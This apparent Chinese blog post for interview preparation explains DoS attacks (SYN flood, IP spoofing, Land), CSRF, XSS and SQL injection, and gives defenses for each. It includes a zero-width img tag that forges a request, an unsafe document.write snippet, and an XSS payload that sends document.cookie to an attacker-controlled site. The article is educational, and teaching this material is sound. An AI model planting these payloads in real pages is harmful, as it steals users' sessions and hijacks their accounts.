详解Web安全攻防战（DoS攻击、CSRF、XSS、SQL注入）

之前学校做的项目都没有像样地考虑过安全方面的问题。今天复习面试的时候看到Web安全部分，学习并总结一下。（PS: Web安全几乎是大厂面试必问的问题，想进大厂的同学注意啦。）

前言

用户信息泄露、网站被黑甚至网银被盗用的事件屡见不鲜，Web安全问题理应得到前端的更多的重视，大前端要“把手伸得更远一点”。
常见的Web安全问题有DoS攻击、CSRF攻击、XSS漏洞和SQL注入等。本文将围绕这四种常见的攻击展开一场防御战。

DoS攻击

DoS(Denial of Service)，拒绝服务，顾名思义这种攻击是为了让服务器无法提供正常服务，最常见的DoS攻击是网络带宽攻击和连通性攻击。带宽攻击指以极大的通信量冲击网络，使得所有可用网络资源都被消耗殆尽，最后导致合法的用户请求无法通过。连通性攻击指用大量的连接请求冲击计算机，使得所有可用的操作系统资源都被消耗殆尽，最终计算机无法再处理合法用户的请求。
可以看出来，DoS攻击本身也受网络规模和网络速度的限制，单个计算机没办法做到攻破一台服务器，所以DoS攻击者开发了分布式攻击DDoS(Distributed Denial of Service)，集合许多计算机的带宽来同时对一台服务器发动攻击。下面我们来看三种典型的DoS攻击：SYN洪水攻击、IP欺骗和Land攻击。

SYN洪水攻击

SYN洪水攻击是利用TCP协议的缺陷，通过发送大量的半连接请求消耗资源，造成网络拥塞甚至宕机以达到攻击者不可告人的秘密。
我们都知道标准的TCP连接需要经过三次握手，首先是客户端发送SYN，服务端收到后发送ACK-SYN，客户端收到后再回复ACK连接建立成功。黑客针对TCP协议栈在两台主机间初始化连接握手的过程进行攻击，黑客通过包装第三次握手的ACK包使得服务端不能收到客正确的户端ACK包。而由于TCP协议具有超时重传机制，服务端会一直重传直到超时。这些虚假连接会一直占用缓冲区，正常的请求被丢弃，引起严重的网络阻塞甚至系统瘫痪。

IP欺骗

这种攻击同样是利用TCP协议栈的漏洞，我们知道TCP协议有一个RST位用于连接出错时的复位。这种攻击利用IP欺骗，使得服务器将合法的用户连接复位，影响正常用户的使用。比如说现在有一个合法连接（172.111.222.123），攻击者构造一个TCP数据报，伪装自己的IP是172.111.222.123，并向服务器发送一个带RST位的数据报。服务器接收到后会认为该连接发生错误，将该连接从缓冲区中移除，所以正常用户只能重新发起连接。

Land攻击

进行Land攻击时，黑客特别打造一个源地址和目标地址都被设置成某一个服务器的SYN包，此举将导致接受服务器向它自己的地址发送SYN-ACK消息，结果这个地址又发回ACK消息并创建一个空连接，每一个这样的连接都将保留直到超时。大量的连接将严重影响服务器性能。

针对DoS攻击的防御

那么我们面对DoS攻击是否是束手无策呢？当然不是，我们可以做以下防范：

缩短SYN超时时间，以减少缓冲区中保留的半连接个数。
限制同时打开的半连接个数，当半连接个数已经达到上限时，后面未成功的TCP连接将被丢弃而不会保存在缓冲区中。
设置SYN Cookie，就是给每一个请求连接的IP地址分配一个Cookie，如果短时间内连续受到某个IP的重复SYN报文，就认定是受到了攻击，以后从这个IP地址来的包会被一概丢弃。

一般来说，第三种方法在防范该类问题上表现更佳。同时可以在Web服务器端采用分布式组网、负载均衡、提升系统容量等可靠性措施，增强总体服务能力。

CSRF攻击

CSRF（Cross Site Request Forgery）攻击，即跨站请求伪造，是一种常见的Web攻击。

攻击者可以盗用我们的登陆信息，以我们的身份模拟发送各种请求。例如：我们正常打开一个网站，输入账号密码登陆，此时服务器会返回一个cookie，浏览器将其保存在本地来识别身份信息。这时如果我们不小心打开了一个钓鱼网站，这个钓鱼网站就可以带着cookie冒充我们为所欲为。归根结底是源于Web的隐式身份验证，Web的身份验证机制虽然可以保证一个请求是来自于某个用户的浏览器，但却无法保证该请求是用户批准发送的。
再例如：我在某个博客网站上发布了一篇文章，文章有这么一段内容：

<img style="width:0;" src="http://www.xxx.com/FollowBlogger?UserId=123"/>

假设说/FollowBlogger?UserId=是这个网站的关注的接口并且我的ID是123，那么每个点开这篇文章的人都会自动的关注我的博客。这也是因为用户在打开这个网站的同时，本地保存了用户的cookie，而这个被我植入伪造请求的网站打开后会自动携带cookie发送伪造的请求。
通过上述描述我们可以看出CSRF攻击的发生有三个必要条件：

已经登录一个站点，并在本地保存下cookie。
在没有退出刚刚站点的情况下，打开了某第三方钓鱼网站或网站本身存在问题。
原站点没有CSRF防护

我们可以看到，前两个条件我们很难完全杜绝，所以为了保证安全，网站必须有必要的CSRF防护机制。我们已经知道CSRF攻击的原理是伪造用户请求，所以我们防护的时候就要从这里出发，试想如果我们的请求里有黑客伪造不出来的东西那就可以杜绝这种攻击方式了。下面给出几种防护方法：

对于POST请求使用验证码，这个方案可以完全杜绝CSRF攻击，但验证码过多会使用户体验很差，所以可以对敏感操作加验证码。
非GET请求中添加token，当客户端请求页面，服务器渲染页面时给每个表单生成一个随机数token，并且将token放置到session当中，然后将token发给客户端（一般通过构造hidden表单）。下次客户端提交请求时，token会随着表单一起提交到服务器端。接收到请求后，服务器端会对token值进行验证，判断是否和session中的token值相等，如果不相等则拒绝访问。

CSRF的防御可以根据应用场景的不同自行选择。CSRF的防御工作确实会在正常业务逻辑的基础上带来很多额外的开发量，但是这种工作量是值得的，毕竟用户隐私以及财产安全是产品最基础的根本。

XSS漏洞

XSS（Cross Site Scripting），跨站脚本攻击，为了与层叠样式表（一般意义上的CSS）区别开，将其缩写为XSS。XSS的原理是黑客向Web页面里插入恶意可执行网页脚本代码，当用户浏览该页之时，嵌入其中Web里面的脚本代码会被执行，从而可以达到黑客盗取用户信息或其他侵犯用户安全隐私的目的。XSS漏洞主要分为持久型XSS漏洞和非持久性XSS漏洞。

非持久型XSS漏洞

<script>document.write(location.href.substring(location.href.indexOf('default=') + 8));
</script>

这段代码的用意是用url里default参数来渲染页面，也就是将dafault参数的值加载进页面里。这样就带来一个问题，不管default的值是什么，哪怕是一段包裹在script标签里的js代码也会被加载并执行。在这样的情况下，黑客可以精心设计一个诱导用户点击的url，例如：http://www.a.com?content=<script>window.open("www.b.com?param="+document.cookie)</script>，一旦用户点击浏览器就会直接打开b.com，并且把用户的cookie信息发送到b.com，b.com是我搭建的网站，当我的网站接收到该信息时，我就盗取了用户的cookie信息。
非持久性XSS漏洞主要有以下几个特点：

不经过服务器储存
黑客需要诱导用户点击恶意url
反馈率低，难以发现和修复

为了防止出现非持久性XSS漏洞，必须确保以下几点：

尽量不要从URL，document.referrer，document.forms 等这种DOM API中获取数据直接渲染。
尽量不要使用 eval, document.write()，document.writeln()， innerHTML，document.creteElement()等可执行字符串的方法。
对涉及DOM渲染的方法传入的字符串参数做转义（破坏html语法，使得展示字符而不是执行代码）。
必要的话，前端渲染的时候对任何的字段都需要做转义编码。

持久型XSS漏洞

持久型XSS漏洞一般存在于form表单提交等交互功能，如发帖、留言、提交文本信息等，黑客利用的XSS漏洞，将内容经正常功能提交进入数据库持久保存，当前端页面获得后端从数据库中读出的注入代码时，恰好将其渲染执行。例如：我在某博客网站上发文章，文章包括一段可执行的代码<script>window.open("www.b.com?param="+document.cookie)</script>，这样一来所有打开这篇文章的人的cookie信息都会被发送到b.com上。
持久性XSS漏洞被攻击有以下几个必要条件：

POST请求提交表单后端没做转义直接入库
后端从数据库中取出数据没做转义直接输出给前端
前端拿到后端数据没做转义直接渲染页面

防止出现持久性XSS漏洞，需要前后端的配合，要做到以下几点：

后端在数据入库时，不能相信任何前端数据，将所有的字段统一进行转义处理。
后端对返回给前端的数据统一进行转义处理。
前端在渲染页面的时候不能相信任何后端数据，任何字段都需要做转义处理。

转义操作可以手动编写js函数进行转义，也可以借助开源工具包转义。

SQL注入

暂时只给出一个网站大家看一下：https://www.cnblogs.com/pursuitofacm/p/6706961.html